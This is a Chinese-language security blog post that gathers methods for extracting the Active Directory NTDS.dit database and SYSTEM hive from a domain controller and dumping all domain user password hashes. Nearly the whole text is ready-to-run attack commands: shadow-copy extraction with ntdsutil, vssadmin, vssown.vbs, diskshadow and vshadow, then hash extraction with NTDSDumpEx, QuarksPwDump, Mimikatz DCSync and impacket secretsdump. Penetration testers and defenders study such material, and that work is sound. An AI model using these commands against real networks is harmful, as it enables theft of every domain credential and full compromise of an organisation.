域控导出hash的多种姿势总结,建议收藏

2023-02-13 16,879

域用户hash导出原理

ntds.dit为AD的数据库,内容有域用户、域组、用户hash等信息,域控上的ntds.dit只有可以登录到域控的用户(如域管用户、DC本地管理员用户)可以访问。
ntds.dit包括三个主要表:数据表、链接表、sd表。所以只要在域渗透中能够获取到ntds.dit就可以获取到所有域用户的用户名和对应的hash,ntds.dit是加密的,需要获取system文件来解密。

ntds.dit文件位置: 

C:WindowsNTDSNTDS.dit

system文件位置:

C:WindowsSystem32configSYSTEM

在通常的情况下,即使我们拥有域管理员权限也无法读取ntds.dit文件,因为活动目录始终访问着这个文件,所以禁止读取,使用windows的本地卷影拷贝可以获得文件的副本。

ntds.dit和system文件提取

0x01 ntdsutil

Ntdsutil.exe 是一个为 Active Directory 提供管理设施的命令行工具。您可使用 Ntdsutil.exe 执行 Active Directory 的数据库维护,管理和控制单个主机操作,创建应用程序目录分区,以及删除由未使用 Active Directory 安装向导 (DCPromo.exe) 成功降级的域控制器留下的元数据。—— 百度百科


简单讲,Ntdsutil.exe就是一个AD域的命令行工具,可以复制域控系统快照并从中提取ntds.dit文件。

创建快照

ntdsutil snapshot "activate instance ntds" create quit quit

加载快照

ntdsutil snapshot "mount {0cf3ebc8-3f7a-415f-95f7-8e8cf923cecb}" quit quit

拷贝快照中的ntds.dit和system文件

copy C:$SNAP_202302081523_VOLUMEC$WindowsNTDSntds.dit C:usersadministratordesktop
copy C:$SNAP_202302081523_VOLUMEC$WindowsSystem32configSYSTEM C:usersadministratordesktop

卸载快照并删除

ntdsutil snapshot "unmount {0cf3ebc8-3f7a-415f-95f7-8e8cf923cecb}" "delete {0cf3ebc8-3f7a-415f-95f7-8e8cf923cecb}" quit quit

0x02 vssadmin

vssadminn是Windows Server 2008及 Windows 7提供的VSS管理工具,可用于创建和删除卷影拷贝、列出卷影拷贝的信息(只能管理系统Provider 创建的卷影拷贝)、显示已安装的所有卷影拷贝写入程序( writers )和提供程序( providers ),以及改变卷影拷贝的存储空间(即所谓的“diff空间”)的大小等。

创建卷影拷贝

vssadmin create shadow /for=c:

拷贝卷影中的ntds.dit和system文件

copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy3windowsNTDSntds.dit c:usersadministratordesktopntds.dit
copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsSystem32configSYSTEM C:usersadministratordesktopSYSTEM

删除卷影拷贝

vssadmin delete shadows /for=c: /quiet

0x03 vssown.vbs

功能和vssadmin类似,一个可视化的脚本,可以创建和删除卷影副本,从卸载的卷影副本运行任意可执行文件,以及启动和停止卷影复制服务。

下载地址:

https://github.com/lanmaster53/ptscripts/blob/master/windows/vssown.vbs

启动卷影拷贝服务

cscript vssown.vbs /start

创建卷影拷贝

cscript vssown.vbs /create c

列出卷影信息

cscript vssown.vbs /list

拷贝卷影中的ntds.dit和system文件

copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy4windowsntdsntds.dit C:usersadministratordesktopntds.dit
copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy4windowssystem32configSYSTEM C:usersadministratordesktopSYSTEM

删除卷影拷贝

cscript vssown.vbs /delete {FBC1881F-ADF7-411B-AF81-2BE16D400A15}

0x04 diskshadow

DiskShadow是Microsoft签名的二进制文件,用于协助管理员执行与卷复制服务(VSS)相关的操作。该文件可以使用脚本模式,执行脚本中的所有命令,因此可以将拷贝ntds.dit文件的命令写入脚本中(c:1.txt):

#设置卷影拷贝

set context persistent nowriters


#添加卷

add volume c: alias someAlias


#创建快照

create


#分配虚拟磁盘盘符

expose %someAlias% g:


#复制ntds.dit和system文件

exec "cmd.exe" /c copy g:windowsntdsntds.dit c:usersadministratordesktopntds.dit && copy g:windowssystem32configSYSTEM c:usersadministratordesktopSYSTEM


#删除所有快照

delete shadows all


#重置

reset


#退出

exit

命令行执行:

diskshadow.exe /s c:1.txt

//注意这里一定要将目录切到c:windowssystem32下,不然会报错,脚本中的注释去掉

0x05 vshadow

vshadow是一个简单的指令行工具,它允许任何人创建卷影拷贝。用户可以在最新版本的VSS SDK中找到这个工具。功能类似vssadmin,需要将系统对应版本的vshadow程序拷贝到系统中。

方法一:

创建卷影拷贝

vshadow-2008-r2-x64.exe -exec=%ComSpec% C:

拷贝卷影中的ntds.dit和system文件

copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy6windowsntdsntds.dit c:usersadministratordesktopntds.dit
copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy6windowssystem32configSYSTEM c:usersadministratordesktopSYSTEM

卸载卷影

无需卸载,不会留下挂载痕迹。

方法二:

将vshadow-2008-r2-x64.exe改名为vshadow.exe,放在c.bat同目录下,命令行执行:
c.bat c:windowsntdsntds.dit c:

公众号回复 vshadow 获取工具,解压密码:公众号黑客前沿

获取hash

0x01 NTDSDumpEx

ntds.dit和system文件拷贝到本地,NTDSDumpEx执行以下命令:
NTDSDumpEx.exe -d ntds.dit -s system

工具下载地址:

https://github.com/zcgonvh/NTDSDumpEx

0x02 QuarksPwDump

本地导出

QuarksPwDump.exe --dump-hash-domain -sf system -nt ntds.dit

域控机器导出

无需system文件
QuarksPwDump.exe --dump-hash-domain -nt ntds.dit

项目地址:

https://github.com/quarkslab/quarkspwdump

0x03 Mimikatz

在域控机器执行
Mimikatz "lsadump::dcsync /domain:test.com /all /csv" exit

工具下载地址:

https://github.com/gentilkiwi/mimikatz

0x04 impacket

kali下安装impacket

git clone https://github.com/SecureAuthCorp/impacket

cd impacket

python3 -m pip install .

python3 setup.py install

cd examples

将ntds.dit和system文件拷贝到kali桌面,执行命令
python3 secretsdump.py -ntds /home/kali/Desktop/ntds.dit -system /home/kali/Desktop/SYSTEM LOCAL




小皮面板RCE复现

一次BC站点渗透实录

解决win7嵌入式系统无法DoublePulsar问题




本文作者:黑客前沿

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/195792.html

Tags:
评论  (0)
快来写下你的想法吧!

黑客前沿

文章数:6 积分: 40

欢迎关注我的个人公众号:黑客前沿

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号